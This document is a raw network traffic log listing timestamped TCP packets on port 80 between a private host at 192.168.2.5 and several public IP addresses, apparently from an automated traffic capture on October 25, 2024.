Oct 25, 2024 11:18:16.522625923 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.522655010 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.522680044 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.522715092 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.522742033 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.522749901 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.522803068 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.522831917 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.522835970 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.522871017 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.522896051 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.522907019 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.522960901 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.522986889 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.522994995 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.523030043 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.523057938 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.523066044 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.523390055 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.523421049 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.523441076 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.523475885 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.523504019 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.523526907 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.523556948 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.523561001 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.523595095 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.523596048 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.523622990 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.523629904 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.523664951 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.523691893 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.523699045 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.523732901 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.523763895 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.523766994 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.523807049 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.523822069 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.523847103 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.523874998 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.523883104 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.523950100 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.524271965 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.524348974 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.524383068 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.524416924 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.524446011 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.524450064 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.524502039 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.524530888 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.524535894 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.524571896 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.524597883 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.524604082 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.524638891 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.524669886 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.524672031 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.524707079 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.524735928 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.524741888 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.524779081 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.524806023 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.525193930 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.525290966 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.525320053 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.525346041 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.525379896 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.525407076 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.525412083 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.525446892 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.525475979 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.525480032 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.525515079 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.525542974 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.525547028 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.525582075 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.525609016 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.525614977 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.525650978 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.525679111 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.525679111 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.528037071 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.552355051 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.552413940 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.552450895 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.552480936 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.552532911 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.552567959 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.552566051 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.552566051 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.552601099 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.552603006 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.552634954 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.552665949 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.552669048 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.552705050 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.552732944 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.553194046 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.558114052 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.558147907 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.558183908 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.558262110 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.558262110 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.564687967 CEST	53003	80	192.168.2.5	104.21.88.198
Oct 25, 2024 11:18:16.564727068 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.564762115 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.564814091 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.564905882 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.564905882 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.564924002 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.564958096 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.564961910 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.564991951 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.565020084 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.565026999 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.565062046 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.565089941 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.565095901 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.565129995 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.565160036 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.565174103 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.565680027 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.570595980 CEST	80	53003	104.21.88.198	192.168.2.5
Oct 25, 2024 11:18:16.614093065 CEST	80	53002	35.164.78.200	192.168.2.5
Oct 25, 2024 11:18:16.614170074 CEST	53002	80	192.168.2.5	35.164.78.200
Oct 25, 2024 11:18:16.615629911 CEST	80	53000	142.250.186.147	192.168.2.5
Oct 25, 2024 11:18:16.616158962 CEST	53000	80	192.168.2.5	142.250.186.147
Oct 25, 2024 11:18:16.617315054 CEST	80	53006	185.15.129.58	192.168.2.5
Oct 25, 2024 11:18:16.619092941 CEST	53006	80	192.168.2.5	185.15.129.58
Oct 25, 2024 11:18:16.628345966 CEST	53002	80	192.168.2.5	35.164.78.200
Oct 25, 2024 11:18:16.629452944 CEST	80	52998	170.82.174.30	192.168.2.5
Oct 25, 2024 11:18:16.630074024 CEST	52998	80	192.168.2.5	170.82.174.30
Oct 25, 2024 11:18:16.630388975 CEST	80	52998	170.82.174.30	192.168.2.5
Oct 25, 2024 11:18:16.631552935 CEST	52998	80	192.168.2.5	170.82.174.30
Oct 25, 2024 11:18:16.633992910 CEST	80	53002	35.164.78.200	192.168.2.5
Oct 25, 2024 11:18:16.634068966 CEST	53002	80	192.168.2.5	35.164.78.200
Oct 25, 2024 11:18:16.638144970 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.638205051 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.638252974 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.638288021 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.638320923 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.638353109 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.638355017 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.638385057 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.638406038 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.638436079 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.638442039 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.638478994 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.638498068 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.638533115 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.638537884 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.638562918 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.638564110 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.638597965 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.638626099 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.638631105 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.638664961 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.638691902 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.638719082 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.638771057 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.638799906 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.638804913 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.638839006 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.638865948 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.638873100 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.638907909 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.638936043 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.638942957 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.639050007 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.639077902 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.639111996 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.639118910 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.639172077 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.639205933 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.639230013 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.639239073 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.639267921 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.639272928 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.639301062 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.639307022 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.639374018 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.639408112 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.639415979 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.639441013 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.639467955 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.639475107 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.639533997 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.639568090 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.639585018 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.639612913 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.639637947 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.639646053 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.639679909 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.639709949 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.639715910 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.639741898 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.639750004 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.639777899 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.639782906 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.639816046 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.639846087 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.639849901 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.639883995 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.639913082 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.639916897 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.639961958 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.639971972 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.640007019 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.640036106 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.640043020 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.640077114 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.640101910 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.640110016 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.640144110 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.640171051 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.640177965 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.640211105 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.640240908 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.640244007 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.640276909 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.640305042 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.640311956 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.640779972 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.645750999 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.645780087 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.645809889 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.645878077 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.645989895 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.646018028 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.646023035 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.646058083 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.646083117 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.646109104 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.646142960 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.646171093 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.646177053 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.646213055 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.646241903 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.646246910 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.646276951 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.646281958 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.646311045 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.646316051 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.646348953 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.646351099 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.646379948 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.646384001 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.646414042 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.646419048 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.646444082 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.646449089 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.646502018 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.646529913 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.646537066 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.646573067 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.646600962 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.646605968 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.646631002 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.646639109 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.646693945 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.646722078 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.646728039 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.646763086 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.646790028 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.646795988 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.646830082 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.646853924 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.646862984 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.646898031 CEST	80	52985	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.646925926 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.647538900 CEST	52985	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.652050972 CEST	53006	80	192.168.2.5	185.15.129.58
Oct 25, 2024 11:18:16.657497883 CEST	80	53006	185.15.129.58	192.168.2.5
Oct 25, 2024 11:18:16.667467117 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.667520046 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.667553902 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.667587996 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.667608976 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.667720079 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.667809010 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.667860031 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.667889118 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.667996883 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.668056011 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.668100119 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.668132067 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.668132067 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.668509007 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.668535948 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.668543100 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.668580055 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.668613911 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.668629885 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.668629885 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.669342041 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.669373035 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.669377089 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.669413090 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.669446945 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.669512987 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.669512987 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.670113087 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.670165062 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.670198917 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.670232058 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.670233011 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.670272112 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.670345068 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.671037912 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.671072006 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.671092987 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.671335936 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.673161983 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.673198938 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.673232079 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.673312902 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.673360109 CEST	53001	80	192.168.2.5	23.227.38.74
Oct 25, 2024 11:18:16.695230007 CEST	80	53003	104.21.88.198	192.168.2.5
Oct 25, 2024 11:18:16.695410013 CEST	53003	80	192.168.2.5	104.21.88.198
Oct 25, 2024 11:18:16.723443985 CEST	80	52995	211.1.226.67	192.168.2.5
Oct 25, 2024 11:18:16.723562956 CEST	52995	80	192.168.2.5	211.1.226.67
Oct 25, 2024 11:18:16.734841108 CEST	52998	80	192.168.2.5	170.82.174.30
Oct 25, 2024 11:18:16.739619017 CEST	52673	80	192.168.2.5	5.196.166.214
Oct 25, 2024 11:18:16.739625931 CEST	53023	80	192.168.2.5	5.196.166.214
Oct 25, 2024 11:18:16.740490913 CEST	80	52998	170.82.174.30	192.168.2.5
Oct 25, 2024 11:18:16.745131969 CEST	80	53023	5.196.166.214	192.168.2.5
Oct 25, 2024 11:18:16.745328903 CEST	53023	80	192.168.2.5	5.196.166.214
Oct 25, 2024 11:18:16.745330095 CEST	53023	80	192.168.2.5	5.196.166.214
Oct 25, 2024 11:18:16.745471001 CEST	80	52673	5.196.166.214	192.168.2.5
Oct 25, 2024 11:18:16.745920897 CEST	52673	80	192.168.2.5	5.196.166.214
Oct 25, 2024 11:18:16.751506090 CEST	80	53023	5.196.166.214	192.168.2.5
Oct 25, 2024 11:18:16.782660961 CEST	80	53001	23.227.38.74	192.168.2.5
Oct 25, 2024 11:18:16.782715082 CEST	80	53001	23.227.38.74	192.168.2.5
